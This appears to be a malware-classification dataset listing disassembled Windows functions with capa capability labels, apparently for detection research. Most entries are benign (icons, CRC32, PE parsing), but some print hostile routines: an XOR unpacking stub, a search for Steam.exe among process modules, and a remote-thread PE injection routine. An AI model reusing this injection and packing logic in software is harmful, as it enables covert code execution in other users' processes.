joyce8/EMBER2024-capa huggingface dataset:
Function at 0x454590
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4545a7
add esp, 0xfffffff0
call fcn.00403420
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419364
mov eax, dword [0x46c904]
cmp word [eax + 2], 0
jne 0x4545cf
mov eax, dword [0x46c904]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00455c68
mov eax, dword [0x46c9b4]
cmp word [eax + 2], 0
jne 0x4545e9
mov eax, dword [0x46c9b4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00455e60
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41165c]
call fcn.004030cc
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41165c]
call fcn.004030cc
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b8a8]
call fcn.00422f98
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x454770
mov eax, dword [0x46c82c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00423368
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x456400
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x46c82c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c0a4
test eax, eax
je 0x4546de
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004083c8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c0cc
test eax, eax
je 0x4546f2
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004040bc
mov eax, dword [0x46c714]
cmp byte [eax], 0
jne 0x454726
mov eax, ebx
call fcn.00454898
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.004565dc
mov eax, ebx
call fcn.00456fa0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x454766
call fcn.00403478
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x454b18
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x46dbdc]
cmp dword [eax + 0x30], 0
je 0x454bc2
cmp dword [ebx + 0x94], 0
jne 0x454bbc
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x454aa8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x454bbc
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x454b82
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x454bbc
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004139c4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x454b91
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x455724
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x455759
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f3c
jmp 0x455766
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403ea0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4567b8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4567f9
mov eax, esi
call fcn.0043cf3c
test al, al
je 0x4567f9
mov eax, dword [ebx + 0x84]
call fcn.0043cc38
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4567f9
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043cc38
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x459ec0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x459eee
mov eax, ebx
call fcn.0045a974
cmp dword [ebx + 0x40], 0
je 0x459ee7
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x459f5f
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x459f51
cmp dword [ebx + 8], 0
je 0x459f10
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x459f22
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x459f51
cmp dword [ebx + 8], 0
je 0x459f03
cmp eax, 3
je 0x459f35
dec eax
jne 0x459f03
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x459f03
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x459f03
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x459f7d
cmp dword [ebx + 0x14], 0xcc
je 0x459f7d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00459f88
pop ebx
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x403790
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x4037f1
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x4037d4
cmp edi, 2
jb 0x4037d4
cmp byte [esi], cl
jne 0x4037d4
cmp byte [esi + 1], cl
jne 0x4037d4
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x48a588]
jmp 0x4037a5
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x48a588]
test edi, edi
jne 0x4037a5
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x403820
cmp cl, 0x23
jne 0x403807
cmp byte [esi], cl
jne 0x403807
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x48a588]
test cl, cl
jne 0x4037f8
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x403930
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x403943
mov dword [ebx], 0
mov edx, 0x48a1e4
call fcn.00403830
mov esi, eax
test esi, esi
je 0x403a20
push esi
call fcn.00455354
add esp, 4
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x403a17
push 2
push 0
push esi
call fcn.00455cf1
add esp, 0xc
test eax, eax
jne 0x403a17
push esi
call fcn.00455354
mov edi, eax
add esp, 4
cmp edi, 0xffffffff
je 0x403a17
push 0
push dword [ebp + 8]
push esi
call fcn.00455cf1
add esp, 0xc
test eax, eax
jne 0x403a17
mov eax, dword [0x4a0fd0]
test eax, eax
je 0x4039b6
inc dword [eax + 0xac]
push edi
call fcn.0045e179
add esp, 4
mov dword [ebp + 8], eax
test eax, eax
je 0x403a17
push esi
push edi
push 1
push eax
call fcn.00459504
add esp, 0x10
push esi
cmp eax, edi
je 0x403a01
call fcn.0045599e
mov eax, dword [0x4a0fd0]
add esp, 4
test eax, eax
je 0x4039ef
dec dword [eax + 0xac]
push dword [ebp + 8]
call fcn.00459310
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
call fcn.0045599e
add esp, 4
test ebx, ebx
je 0x403a0f
mov dword [ebx], edi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret
push esi
call fcn.0045599e
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x408990
Capabilities:
Hash data with crc32

Disassembly:
mov eax, ecx
or ecx, 0xffffffff
push ebx
push esi
mov bl, byte [eax]
lea esi, [eax + 1]
test bl, bl
je 0x4089cd
push edi
or edi, 0xffffffff
cmp bl, 0x23
jne 0x4089b3
cmp byte [esi], bl
jne 0x4089b3
cmp byte [esi + 1], bl
cmove ecx, edi
movzx edx, cl
movzx eax, bl
mov bl, byte [esi]
xor edx, eax
shr ecx, 8
inc esi
xor ecx, dword [edx*4 + 0x48a588]
test bl, bl
jne 0x4089a4
pop edi
pop esi
not ecx
pop ebx
jmp fcn.00408930
Function at 0x415be0
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
push esi
lea esi, [ecx + 1]
push edi
mov edi, dword [0x4a0fd0]
test bl, bl
je 0x415c26
or edi, 0xffffffff
cmp bl, 0x23
jne 0x415c07
cmp byte [esi], bl
jne 0x415c07
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x48a588]
test bl, bl
jne 0x415bf8
mov edi, dword [0x4a0fd0]
mov esi, dword [edi + 0x5a74]
xor ecx, ecx
not eax
test esi, esi
jle 0x415c4c
mov edi, dword [edi + 0x5a7c]
lea edx, [edi + 4]
nop dword [eax]
cmp dword [edx], eax
je 0x415c52
inc ecx
add edx, 0x24
cmp ecx, esi
jl 0x415c40
pop edi
pop esi
xor eax, eax
pop ebx
ret
lea eax, [ecx + ecx*8]
lea eax, [edi + eax*4]
pop edi
pop esi
pop ebx
ret
Function at 0x41f720
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x41f756
mov eax, dword [0x4a0fd0]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x41f746
dec dword [eax + 0xac]
push ecx
call fcn.00459310
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x41f78a
mov eax, dword [0x4a0fd0]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x41f77a
dec dword [eax + 0xac]
push ecx
call fcn.00459310
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x41f7be
mov eax, dword [0x4a0fd0]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x41f7ae
dec dword [eax + 0xac]
push ecx
call fcn.00459310
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x41f80e
mov eax, dword [0x4a0fd0]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x41f7fe
dec dword [eax + 0xac]
push ecx
call fcn.00459310
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x41f842
mov eax, dword [0x4a0fd0]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x41f832
dec dword [eax + 0xac]
push ecx
call fcn.00459310
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x41f876
mov eax, dword [0x4a0fd0]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x41f866
dec dword [eax + 0xac]
push ecx
call fcn.00459310
add esp, 4
mov dword [esi + 0x5c], 0
lea ecx, [esi + 0x78]
pop esi
jmp fcn.004221a0
Function at 0x42e8c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x499008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x42e945
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x42e93e
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x42e910
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.0045efc8
add esp, 8
test eax, eax
je 0x42e938
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x42e906
jmp 0x42e93e
mov ebx, dword [ebp - 0x228]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00439b00
mov esp, ebp
pop ebp
ret

Function at 0x42e960
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x434
mov eax, dword [0x499008]
xor eax, esp
mov dword [esp + 0x430], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push esi
push edi
mov edi, ecx
mov dword [esp + 0xc], 0
nop dword [eax]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x42e990
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x428
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x42e9e2
push str.Steam.exe
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x42e9da
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x42e9b4
jmp 0x42e9e2
mov dword [esp + 0xc], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0xc], 0
je 0x42e990
mov ecx, dword [esp + 0x43c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00439b00
mov esp, ebp
pop ebp
ret
Function at 0x42ea10
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
mov eax, ecx
push 3
push 0x80000000
mov dword [ebp - 0x10], eax
push dword [eax + 0x18]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
mov ebx, eax
push esi
push ebx
push edi
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
mov esi, dword [ebx + 0x3c]
add esi, ebx
mov dword [ebp - 8], esi
push dword [eax + 0x1c]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x40
push 0x3000
push dword [esi + 0x50]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x54]
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x42eae3
add esi, 0x10c
mov eax, dword [esi]
add eax, dword [ebp - 4]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 8]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x42eab8
mov esi, dword [ebp - 8]
push 0x40
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, dword [ebp - 0x10]
mov edi, eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
push 0
mov dword [edx], eax
push 0x20
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [edx + 4], ecx
mov ecx, dword [esi + 0xa0]
add ecx, eax
mov dword [edx + 8], ecx
mov ecx, dword [esi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edx
push edi
mov dword [edx + 0x10], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x14], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.0042eca0
lea esi, [edi + 0x20]
sub eax, 0x42eb90
push eax
push 0x42eb90
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4321f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47a92b
mov eax, dword fs:[0]
push eax
sub esp, 0x80
mov eax, dword [0x499008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 4
call fcn.00439f22
mov dword [ebp - 0x8c], eax
mov dword [eax], 0x432070
lea ecx, [ebp - 0x84]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x434a70
push 0
push 0
call fcn.0045f225
add esp, 0x1c
mov dword [ebp - 0x88], eax
test eax, eax
je 0x43237a
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], 1
call fcn.0042e070
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x84], 0
je 0x432288
call fcn.0045f2b6
call fcn.00431250
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [ebp - 0x80]
mov dword [ebp - 0x80], 0x4a0fd4
mov edi, 7
mov dword [ebp - 0x7c], 0x499ab8
mov dword [ebp - 0x78], 0x5530
mov dword [ebp - 0x74], 0xc
mov dword [ebp - 0x70], 0x4a0fd8
mov dword [ebp - 0x6c], 0x499ab8
mov dword [ebp - 0x68], 0x5530
mov dword [ebp - 0x64], 0xa
mov dword [ebp - 0x60], 0x4a0fdc
mov dword [ebp - 0x5c], 0x499ab8
mov dword [ebp - 0x58], 0x5530
mov dword [ebp - 0x54], 9
mov dword [ebp - 0x50], 0x4a0fe0
mov dword [ebp - 0x4c], 0x499ab8
mov dword [ebp - 0x48], 0x5530
mov dword [ebp - 0x44], 0xe
mov dword [ebp - 0x40], 0x4a0fe4
mov dword [ebp - 0x3c], 0x499ab8
mov dword [ebp - 0x38], 0x5530
mov dword [ebp - 0x34], 0xb
mov dword [ebp - 0x30], 0x4a0fe8
mov dword [ebp - 0x2c], 0x499ab8
mov dword [ebp - 0x28], 0x5530
mov dword [ebp - 0x24], 0xf
mov dword [ebp - 0x20], 0x4a0fec
mov dword [ebp - 0x1c], 0x499ab8
mov dword [ebp - 0x18], 0x5530
mov dword [ebp - 0x14], 0x14
nop
mov ecx, esi
call fcn.0042e0f0
push 0x32
call ebx
add esi, 0x10
sub edi, 1
jne 0x432360
call fcn.00433390
jmp 0x432373
push 6
mov dword [ebp - 0x84], 0
call fcn.0043b441
int3
Function at 0x4384a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47aebd
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x499008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0xc], 0
call fcn.00439f22
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.0043d8bd
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov esi, dword [esi + 4]
mov ecx, esi
mov dword [ebp - 0x10], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 1
push eax
call fcn.00438770
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
mov edx, dword [edx + 0x20]
call edx
mov dword [ebp - 4], 0xffffffff
mov ecx, esi
mov edx, dword [esi]
mov bl, al
call dword [edx + 8]
test eax, eax
je 0x43858b
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], bl
jne 0x4385a4
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.00435170
cmp byte [ebp + 0xc], 0
je 0x4385b3
push edi
call fcn.0043de6b
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4385f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47aee0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x499008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00439f22
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.0043d8bd
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43a656
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleW]
test eax, eax
je 0x43a695
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43a695
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43a695
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x43a695
cmp dword [ecx + 0x74], 0xe
jbe 0x43a695
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x43ad86
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.api_ms_win_core_localization_l1_2_0.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.api_ms_win_core_localization_l1_2_0.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0043ad62
pop esi
leave
ret 8

Function at 0x450769
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.00462766
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.api_ms_win_core_localization_l1_2_0.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x4507a8
sub eax, 1
je 0x4507a3
sub eax, 1
je 0x45079f
xor eax, eax
leave
ret
push 3
jmp 0x4507aa
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret